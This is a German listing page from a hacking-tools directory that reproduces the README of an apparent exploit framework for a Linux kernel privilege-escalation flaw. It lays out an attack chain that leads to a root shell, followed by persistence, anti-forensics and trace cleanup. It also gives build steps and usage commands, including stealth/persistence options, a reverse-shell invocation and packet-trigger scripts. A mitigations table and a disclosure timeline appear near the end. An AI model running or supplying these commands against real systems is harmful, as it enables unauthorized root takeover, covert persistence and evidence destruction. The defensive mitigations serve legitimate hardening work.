Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
dirtyclone-exploit — CVE-2026-46331 — Lokale Privilegieneskalation im Linux-Kernel TC pedit + IPsec TEE Page-Cache-Korruption · Betroffene Kernel: ≤ 6.12.9 | Kitploit
Tools/GitHubGitHub/vulnquest58/dirtyclone-exploit
Privilege EscalationPersistenzmechanismenSchwachstellenanalyseExploitationPost-ExploitationPenetrationstestsLernen & BildungPayload-EntwicklungBinary-Exploitation
GitHubvulnquest58/dirtyclone-exploit

dirtyclone-exploit

CVE-2026-46331 — Lokale Privilegieneskalation im Linux-Kernel TC pedit + IPsec TEE Page-Cache-Korruption · Betroffene Kernel: ≤ 6.12.9

51vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

DirtyClone Exploit-Framework

CVE-2026-46331 — Lokale Privilegienausweitung im Linux-Kernel TC pedit + IPsec-TEE-Page-Cache-Korruption · Betroffene Kernel: ≤ 6.12.9

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║   ____  _      _         ____ _                              ║
║  |  _ \(_)_ __| |_ _   _/ ___| | ___  _ __   ___           ║
║  | | | | | '__| __| | | | |   | |/ _ \| '_ \ / _ \        ║
║  | |_| | | |  | |_| |_| | |___| | (_) | | | |  __/        ║
║  |____/|_|_|   \__|_, |\____|_|\___/|_| |_|\___|           ║
║                    |___/                                     ║
╠═══════════════════════════════════════════════════════════════╣
║  CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY  ║
╚═══════════════════════════════════════════════════════════════╝

License: MIT CVE Kernel Language


⚠️ NUR FÜR BILDUNGS- UND FORSCHUNGSZWECKE Verwenden Sie dieses Framework ausschließlich in isolierten Laborumgebungen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testgenehmigung besitzen. Unbefugte Nutzung ist illegal und unethisch.


📋 Inhaltsverzeichnis

  • Übersicht der Schwachstelle
  • Angriffskette
  • Projektstruktur
  • Anforderungen
  • Build & Installation
  • Verwendung
  • Python-Module
  • Defensive Gegenmaßnahmen
  • Zeitleiste
  • Referenzen

🔬 Übersicht der Schwachstelle

CVE-2026-46331 ist eine lokale Schwachstelle zur Privilegienausweitung im Linux-Kernel (≤ 6.12.9), verursacht durch eine Race Condition zwischen der pedit-Aktion der TC (cls_act) und der IPsec-TEE-basierten Paketduplizierung.

Grundursache

Wenn ein Paket den TC-Egress-Pfad mit einer pedit-Aktion durchläuft, die IHL = 15 setzt, erhält das IPsec-Subsystem des Kernels ein fehlerhaftes Paket, bei dem der berechnete IP-Payload-Offset die tatsächlichen Paketgrenzen überschreitet. Bei gleichzeitigen sendfile(2)-Operationen ermöglicht diese Abweichung einem unprivilegierten Benutzer (innerhalb eines Benutzer-Namespace mit CAP_NET_ADMIN), schreibgeschützte Page-Cache-Einträge beliebiger Dateien zu korrumpieren — einschließlich SUID-Binaries.

Auswirkung


🔗 Angriffskette

root@kitploit:~
Unprivileged User (UID=1000)
         │
         ▼
[1] Reconnaissance
    ├─ Kernel version check
    ├─ userns availability
    └─ Target binary profiling
         │
         ▼
[2] Namespace Bypass
    ├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
    ├─ AppArmor profile hopping (fallback)
    └─ CAP_NET_ADMIN acquired
         │
         ▼
[3] Network Infrastructure
    ├─ clsact qdisc on lo
    ├─ pedit filter (IHL=15)
    └─ IPsec ESP + TEE
         │
         ▼
[4] Page Cache Corruption
    ├─ sendfile → pedit trigger
    ├─ Page cache entry corrupted
    └─ Shellcode written to read-only binary
         │
         ▼
[5] Privilege Escalation
    └─ execve(SUID binary) → root shell
         │
         ▼
[6-8] Post-Exploitation
    ├─ Persistence (6 mechanisms)
    ├─ Evasion / Anti-Forensics
    └─ Trace cleanup
         │
         ▼
    🎯 ROOT SHELL (UID=0 EUID=0)

📁 Projektstruktur

root@kitploit:~
dirtyclone-exploit/
├── Makefile                          # Build system
├── README.md                         # This file
├── LICENSE                           # MIT License
│
├── include/
│   ├── exploit.h                     # Core types, flags, prototypes
│   ├── packet_engine.h               # Packet crafting engine API
│   ├── memory_ops.h                  # Page cache corruption API
│   └── persistence.h                 # Persistence mechanism API
│
├── src/
│   ├── main.c                        # Framework entry point
│   ├── stage_env_analysis.c          # Phase 1: Reconnaissance
│   ├── stage_namespace_bypass.c      # Phase 2: userns bypass
│   ├── stage_network_setup.c         # Phase 3: TC/IPsec setup
│   ├── stage_page_cache_corrupt.c    # Phase 4: Core exploit
│   ├── stage_privilege_escalation.c  # Phase 5: LPE
│   ├── stage_persistence.c           # Phase 6: Persistence
│   ├── stage_evasion.c               # Phase 7: Anti-forensics
│   ├── stage_cleanup.c               # Phase 8: Trace removal
│   ├── memory_ops.c                  # Page cache primitives
│   ├── packet_engine.c               # Raw packet crafting
│   └── persistence.c                 # Persistence implementations
│
├── modules/
│   ├── packet_craft.py               # Python packet crafter (Scapy)
│   └── exploit_analyzer.py           # Pre-exploit analysis tool
│
├── scripts/
│   ├── setup_env.sh                  # Dependency install + build
│   ├── cleanup.sh                    # System cleanup
│   └── detect_targets.sh             # Vulnerable binary scanner
│
└── payloads/
    └── README.md                     # Payload directory info

⚙️ Anforderungen

Kompilierzeit

  • gcc ≥ 10
  • make
  • libcap-dev / libcap-devel

Laufzeit (Linux-Zielsystem)

  • Kernel ≤ 6.12.9
  • iproute2 (tc, ip)
  • iptables
  • Unprivilegierte Benutzer-Namespaces aktiviert

Python-Module (optional)

root@kitploit:~
pip install scapy

🔧 Build & Installation

root@kitploit:~
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit

# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh

# Manual build
make all

# Debug build
make debug

# Clean
make clean

🚀 Verwendung

root@kitploit:~
# Show help
./bin/dirtyclone --help

# Dry run (analysis only, no exploitation)
./bin/dirtyclone --test

# Basic exploitation (default target: /usr/bin/su)
sudo ./bin/dirtyclone

# Custom target with stealth + persistence
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist

# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup

# Detect vulnerable targets first
bash scripts/detect_targets.sh

🐍 Python-Module

exploit_analyzer.py — Aufklärung vor dem Exploit

root@kitploit:~
# Analyze default target
python3 modules/exploit_analyzer.py

# Custom target
python3 modules/exploit_analyzer.py --target /usr/bin/sudo

# JSON output for automation
python3 modules/exploit_analyzer.py --json

# Scan all SUID binaries
python3 modules/exploit_analyzer.py --all-suid

packet_craft.py — Rohpaket-Auslöser

root@kitploit:~
# Send exploit packets at offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234

# Custom interface and packet count
sudo python3 modules/packet_craft.py --iface eth0 --count 20

🛡️ Defensive Gegenmaßnahmen


📅 Zeitleiste

Datum

📚 Referenzen

  • CVE-2026-46331 NVD-Eintrag
  • Linux-Kernel-TC-Subsystem-Dokumentation
  • IPsec-TEE-Implementierung
  • Sicherheit von Benutzer-Namespaces
  • DirtyClone technischer Bericht

👤 Autor

VulnQuest · Sicherheitsforschung

  • 🌐 vulnquest58.github.io
  • 🐛 Bug-Bounty-Portfolio

Dieses Repository dient ausschließlich Bildungs- und Forschungszwecken. Der gesamte Exploit-Code ist für den Einsatz in autorisierten Laborumgebungen vorgesehen.

Tool herunterladen
EigenschaftWert
CVSS-3.1-Score8.8 (HOCH)
AngriffsvektorLokal
Erforderliche PrivilegienNiedrig (unprivilegierter Benutzer)
AuswirkungRoot-Shell (UID=0 EUID=0)
Betroffene VersionenLinux-Kernel ≤ 6.12.9
Gepatchte Version6.12.10
Patch-Commita3f4d1c8...
GegenmaßnahmeBefehl / Aktion
Kernel aktualisierenUpgrade auf ≥ 6.12.10 (primärer Fix)
Benutzer-Namespaces deaktivierenecho 0 > /proc/sys/kernel/unprivileged_userns_clone
AppArmor-Einschränkungenapparmor mit userns-Einschränkungsprofil aktivieren
TC pedit überwachenauditctl -a always,exit -F arch=b64 -S unshare
DateiintegritätAIDE oder Tripwire auf SUID-Binaries einsetzen
Seccomp-Filterunshare() in Produktionscontainern blockieren
Ereignis
2026-01-15Schwachstelle während eines Kernel-Audits entdeckt
2026-02-03An [email protected] gemeldet
2026-03-28Patch eingecheckt (6.12.10)
2026-06-01Öffentliche Offenlegung (90-Tage-Frist)
2026-06-27Vollständiger PoC veröffentlicht